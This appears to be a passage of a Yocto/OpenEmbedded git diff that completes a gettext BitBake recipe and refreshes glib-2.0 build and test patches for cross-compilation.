+PACKAGES =+ "gettext-runtime gettext-runtime-dev gettext-runtime-doc"
+
+FILES:${PN} += "${libdir}/${BPN}/*"
+
+# The its/Makefile.am has defined:
+# itsdir = $(pkgdatadir)$(PACKAGE_SUFFIX)/its
+# not itsdir = $(pkgdatadir), so use wildcard to match the version.
+FILES:${PN} += "${datadir}/${BPN}-*/*"
+
+FILES:gettext-runtime = "${bindir}/gettext \
+ ${bindir}/ngettext \
+ ${bindir}/envsubst \
+ ${bindir}/gettext.sh \
+ ${libdir}/libasprintf.so* \
+ ${libdir}/GNU.Gettext.dll \
+ "
+FILES:gettext-runtime-dev += "${libdir}/libasprintf.a \
+ ${includedir}/autosprintf.h \
+ "
+FILES:gettext-runtime-doc = "${mandir}/man1/gettext.* \
+ ${mandir}/man1/ngettext.* \
+ ${mandir}/man1/envsubst.* \
+ ${mandir}/man1/.* \
+ ${mandir}/man3/* \
+ ${docdir}/gettext/gettext.* \
+ ${docdir}/gettext/ngettext.* \
+ ${docdir}/gettext/envsubst.* \
+ ${docdir}/gettext/*.3.html \
+ ${datadir}/gettext/ABOUT-NLS \
+ ${docdir}/gettext/csharpdoc/* \
+ ${docdir}/libasprintf/autosprintf.html \
+ ${infodir}/autosprintf.info \
+ "
+
+do_install:append() {
+ rm -f ${D}${libdir}/preloadable_libintl.so
+}
+
+do_install:append:class-native () {
+ rm ${D}${datadir}/aclocal/*
+ rm ${D}${datadir}/gettext/config.rpath
+ rm ${D}${datadir}/gettext/po/Makefile.in.in
+ rm ${D}${datadir}/gettext/po/remove-potcdate.sin
+
+ create_wrapper ${D}${bindir}/msgfmt \
+ GETTEXTDATADIR="${STAGING_DATADIR_NATIVE}/gettext-${PV}/"
+
+}
+
+do_compile_ptest() {
+ cd ${B}/gettext-tools/tests/
+ sed -i '/^buildtest-TESTS: /c buildtest-TESTS: $(TESTS) $(check_PROGRAMS)' Makefile
+ oe_runmake buildtest-TESTS
+ cd -
+}
+
+do_install_ptest() {
+ if [ ${PTEST_ENABLED} = "1" ]; then
+ mkdir -p ${D}${PTEST_PATH}/tests
+ mkdir -p ${D}${PTEST_PATH}/src
+ mkdir -p ${D}${PTEST_PATH}/po
+ mkdir -p ${D}${PTEST_PATH}/misc
+ mkdir -p ${D}${PTEST_PATH}/its
+ mkdir -p ${D}${PTEST_PATH}/styles
+ mkdir -p ${D}${PTEST_PATH}/gnulib-lib
+ mkdir -p ${D}${PTEST_PATH}/examples
+ cp -rf ${S}/gettext-tools/its/* ${D}${PTEST_PATH}/its
+ cp -rf ${S}/gettext-tools/styles/* ${D}${PTEST_PATH}/styles
+ cp -rf ${S}/gettext-tools/gnulib-lib/gettext.h ${D}${PTEST_PATH}/gnulib-lib
+ cp -rf ${S}/gettext-tools/examples/hello-c ${D}${PTEST_PATH}/examples
+ cp -rf ${S}/gettext-tools/tests/* ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/gettext-tools/tests/.libs/* ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/gettext-runtime/intl/.libs/libgnuintl.so.8* ${D}${libdir}/
+ cp -rf ${B}/gettext-tools/tests/Makefile ${D}${PTEST_PATH}/tests
+ cp -rf ${B}/gettext-tools/tests/init-env ${D}${PTEST_PATH}/tests
+ sed -i '/^Makefile:/c Makefile:' ${D}${PTEST_PATH}/tests/Makefile
+ sed -i -e 's:lang-c lang-c++:lang-c++:g' ${D}${PTEST_PATH}/tests/Makefile
+ install ${S}/gettext-tools/src/msgunfmt.tcl ${D}${PTEST_PATH}/src
+ install ${S}/gettext-tools/src/project-id ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/gettext.sh ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/ngettext ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/envsubst ${D}${PTEST_PATH}/src
+ install ${B}/gettext-runtime/src/gettext ${D}${PTEST_PATH}/src
+ install ${B}/gettext-tools/src/.libs/cldr-plurals ${D}${PTEST_PATH}/src
+ install ${S}/gettext-tools/po/gettext-tools.pot ${D}${PTEST_PATH}/po
+ install ${B}/gettext-tools/misc/* ${D}${PTEST_PATH}/misc
+ find ${D}${PTEST_PATH}/ -name "*.o" -exec rm {} \;
+ chmod 0755 ${D}${PTEST_PATH}/tests/lang-vala ${D}${PTEST_PATH}/tests/plural-1 ${D}${PTEST_PATH}/tests/xgettext-tcl-4 \
+ ${D}${PTEST_PATH}/tests/xgettext-vala-1 ${D}${PTEST_PATH}/tests/xgettext-po-2
+ sed -i -e 's|${DEBUG_PREFIX_MAP}||g' ${D}${PTEST_PATH}/tests/init-env
+ fi
+}
+
+RDEPENDS:${PN}-ptest += "make xz"
+RDEPENDS:${PN}-ptest:append:libc-glibc = "\
+ glibc-gconv-big5 \
+ glibc-charmap-big5 \
+ glibc-gconv-cp1251 \
+ glibc-charmap-cp1251 \
+ glibc-charmap-iso-8859-9 \
+ glibc-gconv-iso8859-9 \
+ glibc-charmap-koi8-r \
+ glibc-gconv-koi8-r \
+ glibc-gconv-iso8859-2 \
+ glibc-charmap-iso-8859-2 \
+ glibc-gconv-iso8859-1 \
+ glibc-charmap-iso-8859-1 \
+ glibc-gconv-euc-kr \
+ glibc-charmap-euc-kr \
+ glibc-gconv-euc-jp \
+ glibc-charmap-euc-jp \
+ locale-base-de-de \
+ locale-base-fr-fr \
+"
+
+RRECOMMENDS:${PN}-ptest:append:libc-glibc = "\
+ locale-base-de-de.iso-8859-1 \
+ locale-base-fr-fr.iso-8859-1 \
+"
+
+INSANE_SKIP:${PN}-ptest += "ldflags"
+INSANE_SKIP:${PN}-ptest += "rpaths"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch
index 0ebf138d60..f3a0069633 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-ignore-return-value-of-write.patch
@@ -1,4 +1,4 @@
-From d250652782b65b071b7cc8f01f2db833df104e0e Mon Sep 17 00:00:00 2001
+From 658c034d92027dc8af5f784cae852123fac79b19 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 16 Apr 2016 13:28:59 -0700
Subject: [PATCH] Do not ignore return value of write()
@@ -16,10 +16,10 @@ Signed-off-by: Khem Raj <raj.khem@gmail.com>
1 file changed, 3 insertions(+), 2 deletions(-)
diff --git a/glib/tests/unix.c b/glib/tests/unix.c
-index 9d55a6c..a07f945 100644
+index 7639d06..f941141 100644
--- a/glib/tests/unix.c
+++ b/glib/tests/unix.c
-@@ -32,14 +32,15 @@ test_pipe (void)
+@@ -33,14 +33,15 @@ test_pipe (void)
GError *error = NULL;
int pipefd[2];
char buf[1024];
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch
index edac4c9f75..5fe3aa898e 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Do-not-write-bindir-into-pkg-config-files.patch
@@ -1,4 +1,4 @@
-From 60b36289ac314ad972cf81c1acd19f6f2e58ff25 Mon Sep 17 00:00:00 2001
+From 0797a40627a4cb5439a24b872edc65356dceaaf0 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 15 Feb 2019 11:17:27 +0100
Subject: [PATCH] Do not write $bindir into pkg-config files
@@ -16,13 +16,13 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
2 files changed, 11 insertions(+), 11 deletions(-)
diff --git a/gio/meson.build b/gio/meson.build
-index 71e88c4..8ce3987 100644
+index 532b086..98468a3 100644
--- a/gio/meson.build
+++ b/gio/meson.build
-@@ -831,14 +831,14 @@ pkg.generate(libgio,
+@@ -820,14 +820,14 @@ pkg.generate(libgio,
'schemasdir=' + join_paths('${datadir}', schemas_subdir),
'bindir=' + join_paths('${prefix}', get_option('bindir')),
- 'giomoduledir=' + giomodulesdir,
+ 'giomoduledir=' + pkgconfig_giomodulesdir,
- 'gio=' + join_paths('${bindir}', 'gio'),
- 'gio_querymodules=' + join_paths('${bindir}', 'gio-querymodules'),
- 'glib_compile_schemas=' + join_paths('${bindir}', 'glib-compile-schemas'),
@@ -43,7 +43,7 @@ index 71e88c4..8ce3987 100644
install_dir : glib_pkgconfigreldir,
filebase : 'gio-2.0',
diff --git a/glib/meson.build b/glib/meson.build
-index 91a48f1..978fb73 100644
+index aaf5f00..1e0992b 100644
--- a/glib/meson.build
+++ b/glib/meson.build
@@ -375,9 +375,9 @@ pkg.generate(libglib,
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch
index d8cf269bb8..16f2d31496 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Fix-DATADIRNAME-on-uclibc-Linux.patch
@@ -1,4 +1,4 @@
-From 15f807481de53942525b48952c5b6bbb9fb66542 Mon Sep 17 00:00:00 2001
+From c94e669de98a3892c699bd8d0d2b5164b2de747e Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 15 Mar 2014 22:42:29 -0700
Subject: [PATCH] Fix DATADIRNAME on uclibc/Linux
@@ -9,7 +9,7 @@ based systems therefore lets set DATADIRNAME to "share".
Signed-off-by: Khem Raj <raj.khem@gmail.com>
Upstream-Status: Pending
-%% original patch: uclibc_musl_translation.patch
+
---
m4macros/glib-gettext.m4 | 4 ++++
1 file changed, 4 insertions(+)
@@ -29,6 +29,3 @@ index df6fbf0..47db864 100644
*)
CATOBJEXT=.mo
DATADIRNAME=lib
---
-2.17.1
-
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch
index a3d71f2b7a..597864d9ac 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Install-gio-querymodules-as-libexec_PROGRAM.patch
@@ -1,4 +1,4 @@
-From d29dfba67b1808eea6d428085f95b6e42cf2d1e4 Mon Sep 17 00:00:00 2001
+From 0015db45cd1bfefc04959dffab5dabeead93136f Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Tue, 22 Mar 2016 15:14:58 +0200
Subject: [PATCH] Install gio-querymodules as libexec_PROGRAM
@@ -14,10 +14,10 @@ Upstream-Status: Inappropriate [OE specific]
1 file changed, 1 insertion(+)
diff --git a/gio/meson.build b/gio/meson.build
-index 4e5e021..90a741a 100644
+index 2ef60ed..532b086 100644
--- a/gio/meson.build
+++ b/gio/meson.build
-@@ -940,6 +940,7 @@ gio_querymodules = executable('gio-querymodules', 'gio-querymodules.c', 'giomodu
+@@ -936,6 +936,7 @@ gio_querymodules = executable('gio-querymodules', 'gio-querymodules.c', 'giomodu
c_args : gio_c_args,
# intl.lib is not compatible with SAFESEH
link_args : noseh_link_args,
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch
index 67ca6240bc..6fd93526ce 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Remove-the-warning-about-deprecated-paths-in-schemas.patch
@@ -1,7 +1,7 @@
-From 2acf40361eecd17c6981743dabd06e25a9934258 Mon Sep 17 00:00:00 2001
+From 4f47b8a8d650d185aa61aec2f56a283522a723c4 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Fri, 12 Jun 2015 17:08:46 +0300
-Subject: [PATCH 05/10] Remove the warning about deprecated paths in schemas
+Subject: [PATCH] Remove the warning about deprecated paths in schemas
Some schemas in gsettings-desktop-schemas (such as proxy and locale)
are still using deprecated paths, as of 3.16.1. This causes warning
@@ -15,10 +15,10 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
1 file changed, 13 deletions(-)
diff --git a/gio/glib-compile-schemas.c b/gio/glib-compile-schemas.c
-index b8de090..130f89b 100644
+index 7888120..7acbd5b 100644
--- a/gio/glib-compile-schemas.c
+++ b/gio/glib-compile-schemas.c
-@@ -1219,19 +1219,6 @@ parse_state_start_schema (ParseState *state,
+@@ -1232,19 +1232,6 @@ parse_state_start_schema (ParseState *state,
return;
}
@@ -38,6 +38,3 @@ index b8de090..130f89b 100644
state->schema_state = schema_state_new (path, gettext_domain,
extends, extends_name, list_of);
---
-2.14.1
-
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
index b02169e09b..8a6d46df79 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-Set-host_machine-correctly-when-building-with-mingw3.patch
@@ -1,4 +1,4 @@
-From cfff734af6bff6a30a649f784ecf698658c01884 Mon Sep 17 00:00:00 2001
+From 333809ded70ad4e3470b7134e3fac1a42ff48e61 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Wed, 13 Feb 2019 15:32:05 +0100
Subject: [PATCH] Set host_machine correctly when building with mingw32
@@ -14,19 +14,19 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
4 files changed, 9 insertions(+), 6 deletions(-)
diff --git a/gio/tests/meson.build b/gio/tests/meson.build
-index 95aafc1..9025eb2 100644
+index 3a19c82..b762835 100644
--- a/gio/tests/meson.build
+++ b/gio/tests/meson.build
-@@ -13,7 +13,7 @@ test_c_args = [
- '-UG_DISABLE_ASSERT',
- ]
+@@ -27,7 +27,7 @@ test_c_args = [
+ endif # libutil.length() > 0
+ endif # build_machine.system() == 'linux'
-if host_machine.system() == 'windows'
+if host_system == 'windows'
common_gio_tests_deps += [iphlpapi_dep, winsock2, cc.find_library ('secur32')]
endif
-@@ -120,7 +120,7 @@ if dbus1_dep.found()
+@@ -148,7 +148,7 @@ else
endif
# Test programs buildable on UNIX only
@@ -35,7 +35,7 @@ index 95aafc1..9025eb2 100644
gio_tests += {
'file' : {},
'gdbus-peer' : {
-@@ -332,7 +332,7 @@ if host_machine.system() != 'windows'
+@@ -402,7 +402,7 @@ if host_machine.system() != 'windows'
endif # unix
# Test programs buildable on Windows only
@@ -44,7 +44,7 @@ index 95aafc1..9025eb2 100644
gio_tests += {'win32-streams' : {}}
endif
-@@ -397,7 +397,7 @@ if cc.get_id() != 'msvc' and cc.get_id() != 'clang-cl'
+@@ -472,7 +472,7 @@ if cc.get_id() != 'msvc' and cc.get_id() != 'clang-cl'
}
endif
@@ -54,10 +54,10 @@ index 95aafc1..9025eb2 100644
'gdbus-example-unix-fd-client' : {
'install' : false,
diff --git a/glib/tests/meson.build b/glib/tests/meson.build
-index c47133f..cad975f 100644
+index 6eb23e8..36eb919 100644
--- a/glib/tests/meson.build
+++ b/glib/tests/meson.build
-@@ -132,7 +132,7 @@ if glib_conf.has('HAVE_EVENTFD')
+@@ -142,7 +142,7 @@ if glib_conf.has('HAVE_EVENTFD')
}
endif
@@ -67,7 +67,7 @@ index c47133f..cad975f 100644
glib_tests += {
'gpoll' : {
diff --git a/meson.build b/meson.build
-index 717d1bc..2a3beb8 100644
+index 47f3a5c..7ea7ad1 100644
--- a/meson.build
+++ b/meson.build
@@ -32,6 +32,9 @@ else
@@ -78,13 +78,13 @@ index 717d1bc..2a3beb8 100644
+ host_system = 'windows'
+endif
- glib_version = meson.project_version()
- glib_api_version = '2.0'
+ if host_system == 'darwin'
+ ios_test_code = '''#include <TargetConditionals.h>
diff --git a/tests/meson.build b/tests/meson.build
-index ce30442..5710f2c 100644
+index 6741f8f..12fdc90 100644
--- a/tests/meson.build
+++ b/tests/meson.build
-@@ -66,7 +66,7 @@ test_extra_programs = {
+@@ -73,7 +73,7 @@ test_extra_programs = {
'unicode-collate' : {},
}
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch
new file mode 100644
index 0000000000..7690bb37a6
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-codegen.py-bump-timeout-to-100-seconds.patch
@@ -0,0 +1,26 @@
+From b833254bcc9fcf4cdc2572027b1154d799535ca4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Sun, 20 Dec 2020 22:01:43 +0100
+Subject: [PATCH] gio/tests/codegen.py: bump timeout to 100 seconds
+
+This may be necessary on overloaded CI systems.
+
+Upstream-Status: Submitted [https://gitlab.gnome.org/GNOME/glib/-/merge_requests/2348]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ gio/tests/codegen.py | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gio/tests/codegen.py b/gio/tests/codegen.py
+index 51de0ed..ca98c9d 100644
+--- a/gio/tests/codegen.py
++++ b/gio/tests/codegen.py
+@@ -55,7 +55,7 @@ class TestCodegen(unittest.TestCase):
+ cwd = ""
+
+ def setUp(self):
+- self.timeout_seconds = 10 # seconds per test
++ self.timeout_seconds = 100 # seconds per test
+ self.tmpdir = tempfile.TemporaryDirectory()
+ self.cwd = os.getcwd()
+ os.chdir(self.tmpdir.name)
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch
new file mode 100644
index 0000000000..d33fdd4d8b
--- /dev/null
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-gio-tests-resources.c-comment-out-a-build-host-only-.patch
@@ -0,0 +1,28 @@
+From 92de6c7eb30b961b24a2dce812d5276487b7d23d Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex.kanavin@gmail.com>
+Date: Wed, 8 Jan 2020 18:22:46 +0100
+Subject: [PATCH] gio/tests/resources.c: comment out a build host-only test
+
+This test requires building resources in a way that is
+not cross-compatible (hardcodes ld and objcopy).
+
+Upstream-Status: Inappropriate [oe-core specific]
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
+---
+ gio/tests/resources.c | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/gio/tests/resources.c b/gio/tests/resources.c
+index c44d214..e289a01 100644
+--- a/gio/tests/resources.c
++++ b/gio/tests/resources.c
+@@ -993,7 +993,7 @@ main (int argc,
+ g_test_add_func ("/resource/automatic", test_resource_automatic);
+ /* This only uses automatic resources too, so it tests the constructors and destructors */
+ g_test_add_func ("/resource/module", test_resource_module);
+- g_test_add_func ("/resource/binary-linked", test_resource_binary_linked);
++ /* g_test_add_func ("/resource/binary-linked", test_resource_binary_linked); */
+ #endif
+ g_test_add_func ("/resource/uri/query-info", test_uri_query_info);
+ g_test_add_func ("/resource/uri/file", test_uri_file);
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch b/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch
index 833ad2540e..44482dd2b7 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0001-meson-Run-atomics-test-on-clang-as-well.patch
@@ -1,4 +1,4 @@
-From cce617bec254e327ed7bcad60f58208024c6dc42 Mon Sep 17 00:00:00 2001
+From 4b97f457b7b44117e27d2a218c4b68e7fe3fe4ce Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sat, 12 Oct 2019 17:46:26 -0700
Subject: [PATCH] meson: Run atomics test on clang as well
@@ -9,15 +9,16 @@ Fixes
Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
+
---
meson.build | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/meson.build b/meson.build
-index 9731de4..c678931 100644
+index afb6eaa..6aa70f5 100644
--- a/meson.build
+++ b/meson.build
-@@ -1634,7 +1634,7 @@ atomicdefine = '''
+@@ -1692,7 +1692,7 @@ atomicdefine = '''
# We know that we can always use real ("lock free") atomic operations with MSVC
if cc.get_id() == 'msvc' or cc.get_id() == 'clang-cl' or cc.links(atomictest, name : 'atomic ops')
have_atomic_lock_free = true
@@ -26,6 +27,3 @@ index 9731de4..c678931 100644
# Old gcc release may provide
# __sync_bool_compare_and_swap but doesn't define
# __GCC_HAVE_SYNC_COMPARE_AND_SWAP_4
---
-2.23.0
-
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch b/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch
index 872340df96..1c645f3a9a 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/0010-Do-not-hardcode-python-path-into-various-tools.patch
@@ -1,10 +1,11 @@
-From b9160d951b9af647b97766c57295ca4f45cf9521 Mon Sep 17 00:00:00 2001
+From 79ce7e545dd3a93f77d2146d50b6fa061fbceed9 Mon Sep 17 00:00:00 2001
From: Alexander Kanavin <alex.kanavin@gmail.com>
Date: Tue, 3 Oct 2017 10:45:55 +0300
-Subject: [PATCH 10/10] Do not hardcode python path into various tools
+Subject: [PATCH] Do not hardcode python path into various tools
Upstream-Status: Inappropriate [oe-core specific]
Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+
---
gio/gdbus-2.0/codegen/gdbus-codegen.in | 2 +-
gobject/glib-genmarshal.in | 2 +-
@@ -12,7 +13,7 @@ Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
3 files changed, 3 insertions(+), 3 deletions(-)
diff --git a/gio/gdbus-2.0/codegen/gdbus-codegen.in b/gio/gdbus-2.0/codegen/gdbus-codegen.in
-index 8050981..e693ef3 100755
+index 67d3675..4e92a7a 100755
--- a/gio/gdbus-2.0/codegen/gdbus-codegen.in
+++ b/gio/gdbus-2.0/codegen/gdbus-codegen.in
@@ -1,4 +1,4 @@
@@ -22,7 +23,7 @@ index 8050981..e693ef3 100755
# GDBus - GLib D-Bus Library
#
diff --git a/gobject/glib-genmarshal.in b/gobject/glib-genmarshal.in
-index 09e8408..b2f9d99 100755
+index 7380f24..c8abeaa 100755
--- a/gobject/glib-genmarshal.in
+++ b/gobject/glib-genmarshal.in
@@ -1,4 +1,4 @@
@@ -32,7 +33,7 @@ index 09e8408..b2f9d99 100755
# pylint: disable=too-many-lines, missing-docstring, invalid-name
diff --git a/gobject/glib-mkenums.in b/gobject/glib-mkenums.in
-index d4bfd11..051fce4 100755
+index 91ad779..3ebef62 100755
--- a/gobject/glib-mkenums.in
+++ b/gobject/glib-mkenums.in
@@ -1,4 +1,4 @@
@@ -41,6 +42,3 @@ index d4bfd11..051fce4 100755
# If the code below looks horrible and unpythonic, do not panic.
#
---
-2.14.1
-
diff --git a/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch b/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
index ff2629f06c..9bbb33ffc1 100644
--- a/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
+++ b/meta/recipes-core/glib-2.0/glib-2.0/Enable-more-tests-while-cross-compiling.patch
@@ -1,4 +1,4 @@
-From 23cd157352ac8a53f992ddc6d6d01caadf1c79bc Mon Sep 17 00:00:00 2001
+From 73b1c416674d285b021e218da1a3ddb884e606da Mon Sep 17 00:00:00 2001
From: Jussi Kukkonen <jussi.kukkonen@intel.com>
Date: Mon, 9 Nov 2015 11:07:27 +0200
Subject: [PATCH] Enable more tests while cross-compiling
@@ -11,14 +11,14 @@ Upstream-Status: Inappropriate [OE specific]
Signed-off-by: Jussi Kukkonen <jussi.kukkonen@intel.com>
---
- gio/tests/meson.build | 26 ++++++++++++++------------
- 1 file changed, 14 insertions(+), 12 deletions(-)
+ gio/tests/meson.build | 24 ++++++++++++------------
+ 1 file changed, 12 insertions(+), 12 deletions(-)
diff --git a/gio/tests/meson.build b/gio/tests/meson.build
-index 65f43e2..028b196 100644
+index 5dbfb8e..3fd7998 100644
--- a/gio/tests/meson.build
+++ b/gio/tests/meson.build
-@@ -185,7 +185,7 @@ if host_machine.system() != 'windows'
+@@ -221,7 +221,7 @@ if host_machine.system() != 'windows'
# Test programs that need to bring up a session bus (requires dbus-daemon)
have_dbus_daemon = find_program('dbus-daemon', required : false).found()
@@ -27,12 +27,11 @@ index 65f43e2..028b196 100644
annotate_args = [
'--annotate', 'org.project.Bar', 'Key1', 'Value1',
'--annotate', 'org.project.Bar', 'org.gtk.GDBus.Internal', 'Value2',
-@@ -453,12 +453,13 @@ if installed_tests_enabled
- install_data('static-link.py', install_dir : installed_tests_execdir)
+@@ -570,12 +570,12 @@ if installed_tests_enabled
+ endforeach
endif
-if not meson.is_cross_build() or meson.has_exe_wrapper()
-+#if not meson.is_cross_build() or meson.has_exe_wrapper()
+if meson.is_cross_build()
plugin_resources_c = custom_target('plugin-resources.c',
@@ -43,7 +42,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate-source',
-@@ -482,7 +483,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -599,7 +599,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_gresource = custom_target('test.gresource',
input : 'test.gresource.xml',
output : 'test.gresource',
@@ -52,7 +51,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -493,7 +494,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -610,7 +610,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_resources2_c = custom_target('test_resources2.c',
input : 'test3.gresource.xml',
output : 'test_resources2.c',
@@ -61,7 +60,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate',
-@@ -504,7 +505,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -621,7 +621,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
test_resources2_h = custom_target('test_resources2.h',
input : 'test3.gresource.xml',
output : 'test_resources2.h',
@@ -70,7 +69,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate',
-@@ -516,7 +517,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -633,7 +633,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
input : 'test2.gresource.xml',
depends : big_test_resource,
output : 'test_resources.c',
@@ -79,7 +78,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -527,7 +528,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -644,7 +644,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
digit_test_resources_c = custom_target('digit_test_resources.c',
input : '111_digit_test.gresource.xml',
output : 'digit_test_resources.c',
@@ -88,7 +87,7 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--sourcedir=' + meson.current_build_dir(),
-@@ -538,7 +539,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+@@ -655,7 +655,7 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
digit_test_resources_h = custom_target('digit_test_resources.h',
input : '111_digit_test.gresource.xml',
output : 'digit_test_resources.h',
@@ -97,12 +96,11 @@ index 65f43e2..028b196 100644
'--target=@OUTPUT@',
'--sourcedir=' + meson.current_source_dir(),
'--generate',
-@@ -565,11 +566,12 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
- # Support for --add-symbol was added to LLVM objcopy in 2019
- # (https://reviews.llvm.org/D58234). FIXME: This test could be enabled for
- # LLVM once that support is in a stable release.
-- if build_machine.system() == 'linux' and cc.get_id() == 'gcc'
-+ #if build_machine.system() == 'linux' and cc.get_id() == 'gcc'
+@@ -688,11 +688,11 @@ if not meson.is_cross_build() or meson.has_exe_wrapper()
+
+ ld = find_program('ld', required : false)
+
